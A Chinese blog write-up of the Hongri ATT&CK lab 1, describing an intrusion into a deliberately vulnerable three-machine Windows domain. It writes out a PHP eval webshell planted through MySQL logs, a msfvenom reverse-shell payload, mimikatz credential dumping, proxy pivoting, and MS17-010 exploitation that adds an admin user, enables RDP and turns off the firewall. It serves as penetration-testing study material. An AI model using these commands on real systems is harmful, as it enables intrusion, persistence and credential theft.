红日ATT＆CK系列靶场（一）

最新推荐文章于 2024-09-08 15:23:41 发布
最新推荐文章于 2024-09-08 15:23:41 发布
阅读量948 收藏 7
点赞数 1
分类专栏： web渗透 提权 文章标签： mysql 数据库 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44522540/article/details/126677294
版权

拓扑图：在这里插入图片描述虚拟机所有统一密码：hongrisec@2019kali:192.168.226.129
win2003:192.168.52.141
win2008:192.168.52.138
win7:外网：192.168.226.136 内网：192.168.52.143

环境搭建

网络配置
win7网络适配器设置为自定义(VMnet1仅主机模式)，再添加一个网络适配器设置为NAT模式
在这里插入图片描述
Windows2003、Windows Server 2008网络适配器设置为自定义(VMnet1仅主机模式)；
攻击机kali设置为NAT模式；
此时Win7、Windows2003、Windows Server 2008处于同一内网中，攻击机kali只能先拿下win7，再通过win7访问内网进行横向渗透
配置好后在win7 ping一下kali和win03 win08
开启win7的phpstudy
在这里插入图片描述

外网打点

信息收集1

主机发现
在这里插入图片描述
端口探测
在这里插入图片描述
访问80端口，是一个php探针页面，可以看到网站根目录绝对路径是C:/phpStudy/WWW以及管理员邮箱等
在这里插入图片描述
目录扫描，有phpmyadmin（这里我用的是dirsearch，御剑可以扫出一个备份文件，打开是一个cms,另一种getshell的思路）
在这里插入图片描述

通过phpmyadmin getshell

root/root弱口令（贴一张网上的图，可以用脚本爆破账号密码）
在这里插入图片描述
在这里插入图片描述
尝试用sql语句写文件，结果因为MySQL服务器使用–secure file priv选项运行，无法执行此语句
在这里插入图片描述
执行show variables like ‘%general%’;查看日志状态，尝试通过日志文件来写shell
在这里插入图片描述
开启日志功能set global general_log=on;日志功能是关闭的，开启后，执行过的sql语句都会保存到stu1.log，我们可以修改保存路径，存到我们指定的文件中
在这里插入图片描述
修改日志保存路径为C:/phpStudy/WWW/shell.php：set global general_log_file=‘C:/phpStudy/WWW/shell.php’
在这里插入图片描述
写入一句话木马SELECT ‘<?php eval($_POST["cmd"]);?>’
在这里插入图片描述
还可以通过慢日志查询写入webshell

set global slow_query_log=1;#启用慢查询日志（默认禁用)
set global slow_query_log_file='C: // phpStudy //wlW/ /slow_log.php';
select @@long_query_time;#慢查询时间值
select '<?php @eval($_POST[pass]); ?>' or sleep( 11);

蚁剑连接
在这里插入图片描述

在这里插入图片描述

信息收集->whoami->管理员账号
在这里插入图片描述
ipconfig发现还有另一个网段，可知内网网段为192.168.52.x
在这里插入图片描述
net config Workstation查看当前计算机名称，全名，用户名，以及所在的工作站域等信息
在这里插入图片描述
net localgroup administrators查看本地管理员，发现还有另一台用户
在这里插入图片描述
systeminfo查看系统信息，可以确定当前域为god.org，域服务器名称为OWA，并且还打了四个补丁
在这里插入图片描述

反弹shell

由于win7启动了安全模式，所以无法直接反弹shell到kali上；
通过msf生成一个木马msf.exe到win7上
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -f exe -o msf.exe
在这里插入图片描述
通过蚁剑上传
在这里插入图片描述
exploit/multi/handler模块开启msf监听
在这里插入图片描述
getuid查看当前权限，然后getsystem提为system权限
在这里插入图片描述
netstat查看端口开放情况
在这里插入图片描述
执行run post/windows/manage/enable_rdp开启3389端口
在这里插入图片描述
rdesktop 192.168.226.136远程桌面连接在这里插入图片描述

抓取密码

使用meterpreter中mimikatz模块获取密码，load mimikatz后，提示mimikatz被kiwi替代

creds_msv    获取密码hash值
creds_kerberos    获取密码明文

在这里插入图片描述

进入内网

信息收集2

run post/windows/gather/enum_applications查看win7上安装了哪些软件
在这里插入图片描述
arp -a查看路由表，可以看到另一个网段192.168.52.0/24
在这里插入图片描述
run autoroute -s 192.168.52.0/24添加路由
run autoroute -p查看路由
在这里插入图片描述
设置代理，方便访问内网服务

 use auxiliary/server/socks4a
 set srvhost 192.168.226.129
 set srvport 1080
 run

在这里插入图片描述
修改vim /etc/proxychains.conf的最后一行为socks4 192.168.226.129 1080 这里如果proxychains.conf为空，可以把proxychains4.conf重命名，或者将proxychains4.conf的内容复制到proxychains.conf
在这里插入图片描述
扫描开放端口
在这里插入图片描述
可以看到两台主机都开了135、445端口，说明都有SMB服务

域成员

使用auxiliary/scanner/smb/smb_version扫描系统版本，是Windows2003版本

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run

在这里插入图片描述
验证发现存在永恒之蓝漏洞

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run

在这里插入图片描述

use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

在这里插入图片描述
set command net user test 123456 /add添加用户；
set command net localgroup administrators test /add添加管理员权限；
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’执行命令开启3389端口，这里要么用单引号把命令引住，要么用反斜杠对反斜杠和引号进行转义，否则会出错；
在这里插入图片描述
proxychains rdesktop 192.168.52.141远程桌面连接成功，可以用添加的用户进行登录
在这里插入图片描述
使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell(忘记截图)

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

接下来就可以和前面一样getsystem进行提权，这样域成员就已经拿下了

拿域控

因为192.168.52.138这台主机也同样开了135，445端口，所以同样使用auxiliary/scanner/smb/smb_version扫描系统版本，是Windows server 2008版本
在这里插入图片描述
接下来和拿2003主机一样的操作，依然可以用auxiliary/admin/smb/ms17_010_command模块执行命令；
开启3389端口：set command ‘REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f’；
但是连接超时，可能是因为开启了防火墙，执行命令set command netsh firewall set opmode mode=disable关闭防火墙
在这里插入图片描述
在这里插入图片描述
成功连接，可以用前面抓取到的管理员账号密码登录
在这里插入图片描述
照样用exploit/windows/smb/ms17_010_psexec反弹一个shell
在这里插入图片描述
渗透结束
在这里插入图片描述

思路总结

从web服务器寻找可以getshell的利用点，win7上有phpmyadmin目录，并且是默认密码可以登录；
利用日志文件写入一句话，菜刀连接，收集有用信息；
msf反弹shell，提权，抓取密码，arp发现内网；
添加路由，设置代理，访问内网资源；
扫描开放端口，利用445端口SMB服务，ms17_010对域成员和域控主机进行攻击；
关闭防火墙，开启3389，反弹shell

渗透系列：ATT&CK红队评估（红日靶场二）
weixin_54626591的博客
01-22 300
ATT&CK红队评估（红日靶场二）
[红日靶场]ATT&CK实战系列——红队实战(—)
Huamang的博客
10-17 956
环境搭建 靶场地址 该靶场给了三台虚拟机 下载好分别开启，密码都是hongrisec@2019，登录后需要修改密码，我这里修改的hongri@2019 靶场环境是这样的 web服务器由win7来搞，网络可以按照官方给的配置 但由于我习惯了用自己的windows打，所以我把win7设置成nat，另一个网络设成vm1 另外两个虚拟机的网络适配器都设置成vm1 NAT的子网是192.168.159.0/24 在win7里面的phpstudy打开服务 成功访问 以上就已经搭建好了环境了 WEB服务渗透 n
红队攻防知识分享-红日安全团队靶场1
beirry的博客
03-23 9208
环境搭建 靶场链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 环境拓扑图： 以下是虚拟机网络配置 虚拟机 网络配置 Windows7 x64 VMnet1：192.168.52.128；VMnet2：192.168.54.128 Win2k3 Measploitable VMnet1：192.168.52.141 Windows Server 2008 R2 x64 VMnet1：192.168.52.138 kali V
红日ATT&CK靶场(一)
qq_43884092的博客
01-07 199
phpmyadmin弱口令root：root，登录phpmyadmin后执行sql语句写shell。利用auxiliary/admin/smb/ms17_010_command开3389 上线。进程注入获取system权限。利用frp建立socks隧道。msfvenom生成木马。利用psexec上线域控。通过哥斯拉上传后运行。
红日靶机(一) 笔记
最新发布
LINGX5的博客
09-08 1893
通过 nmap 扫描看到目标 web 服务器开放了 80，135，3306 等端口，通过对 80 端口的目录爆破，弱口令的 fuzz，发现了 phpmyadmin 的后台，并成功登陆。利用数据库的日志输出，写入了一句话木马，成功反弹了 powershell 的命令行，因为 powershell2.0 命令行的缺陷，在域渗透信息收集的时候遇到了 mimikatz 不能使用的情况，尝试解决但失败了。最后使用了 cobalstrike 的集成化工具完成了对域控的横向移动，成功获得域控管理员权限。
红日靶场-ATT&CK实战系列-红队评估（一）
m0_66638011的博客
06-21 1243
红日靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。红日靶机主要以内网渗透学习为主。红日靶场的网络结构复杂多样，包括外网、内网、DMZ区域等。不同的网络区域之间通过防火墙、路由器等设备进行隔离和访问控制。靶场网络结构中还包括了各种服务器和网络设备，如Web服务器、数据库服务器、文件服务器等。
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记
热门推荐
ierciyuan的博客
08-01 1万+
内网渗透实战攻打红日靶场第一关，包括环境配置、信息收集、漏洞利用、内网信息收集、内网攻击、横向移动等操作。
ATT&CK实战系列——红队实战（一）红日靶场1
qq_62989306的博客
10-17 3625
靶场搭建、外网打点getshell、上线MSF和CS、内网信息搜集、内网攻击。 靶机下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 靶机下载完成后解压，使用vmware打开虚拟机，有三台虚拟机：Win7、Win2003、Win2008默认密码hongrisec@2019
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记_红日靶场1攻略-CSDN博客.html
05-11
内网渗透实战——红日ATT&CK系列靶场（一）学习笔记_红日靶场1攻略-CSDN博客.html
ATT&CK红队评估（红日靶场二）
weixin_45682839的博客
04-11 2896
靶场搭建 靶场下载地址：漏洞详情 一共有三台主机：WEB、DC、PC WEB主机有两张网卡，第一张网卡NAT，第二张网卡选择一个仅主机模式的网络（vmvare可以通过编辑里的虚拟网络编辑器进行添加或修改网络）这里我选择的是创建的仅主机vmnet15网络 DC主机只有一张网卡，选择和WEB第二章网卡一样的vmnet15网络 PC有两张网卡，配置和WEB主机一样，第一张网卡NAT，第二张网卡vmnet15 网络设置完成后进行开机 WEB主机以administrator第一次登录时没
ATT&CK红队评估（红日靶场五）
weixin_45682839的博客
04-30 1725
ATT&CK红队评估（红日靶场五）通关攻略，涉及知识包括：ThinkPHP5.0 RCE漏洞、内网渗透、横向移动、psexec使用、代理建立，matespolit、cobaltstrike等工具使用。
【红日靶场系列】ATT&CK红队评估1
weixin_45632448的博客
07-06 3253
内网渗透学习过程，简单记录一下靶场下载地址： 今天做的是第一个ATT&CK实战系列——红队实战（一）下载下来之后一共有三个虚拟机，解压到虚拟机目录下 分别对应的是Windows7，Windows Server 2003和Windows Server 2008。另外我们还需要一台攻击机，这里选用的是kali2022.1（其实真实环境自己主机就相当于攻击机），网络拓扑图如下所示： 靶场提供的三个主机在同一个网段中，另外Win7主机有两张网卡，模拟可以与外网进行通信的主机，且安装有phpstudy，部署了we
复现红日安全-ATT& CK实战：Vulnstack靶场实战（一）
weixin_51152373的博客
06-14 1132
内网实战环境配置所有主机密码为：hongrisec@2019密码同一修改为：hongrisec@2021攻击机名称： win 10 | kali 2020vm1名称： win 7ip: 外网：192.168.154.0内网：192.168.52.143vm2名称： win 2003vm3名称： win 2008（域控）网络配置Win7服务开启。
红日安全vulnstack-ATT&CK实战系列 红队实战(一)
遇事不决冲冲冲
12-25 1万+
一.介绍 vulnstack官网下载地址，也是拿百度网盘下载的，这里也放一个链接提取码: i7xv 官方靶机说明： 红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK攻击链路进行搭建，开成完整闭环。后续也会搭建真实 APT 实战环境，从实战中成长。虚拟机所有统一密码：hongrisec@2019 整体思路 信息收集发现yxcms框架的网页，通过漏洞利用get到shell，拿cs控制后进行内网信息收集以及横向移动，最终用窃
红日靶场1（渗透记录）
b1n的博客
09-12 1638
分享的靶机实战环境，这篇博客是为自己记录的同时分享出来让大佬们共同检阅，如有问题，还请多多指教。
红日靶场一
qq_45751902的博客
09-23 969
win7VMnet 1(仅主机):192.168.52.129注：phphstudy需要win7重启才可以打开win7的nat地址需要手工配置（至少我的要这样）win2003VMnet 1(仅主机):192.168.52.141win2008VMnet 1(仅主机):192.168.52.138网络连接状态win7可以ping通所有主机，但是他们ping不通win7的，所以猜测win7开启了防火墙并过滤了ICMP数据包，因此kali用nmap时要使用-sS。
ATT&CK 红日1靶机渗透攻略
weixin_47311099的博客
01-27 1994
环境 此实战靶场共 3 台主机，Win7 作为 Web 服务器，是打入此实战靶场的第一个目标和 入手点，Win2K3 为内网域成员主机，WinSever 2008 R2 为内网域控主机。 下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 环境调试 网卡桥接 主机 网卡 IP win7（web服务器） 1.VM2 2.NAT 192.168.52.143 and 192.168.8.142 win2003（内网域成员）
红日靶场1---内网学习
qq_41672971的博客
01-16 506
11111111111111111
内网域渗透—红日靶场1
一个普普通通的博客
04-19 1238
红日靶场1
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值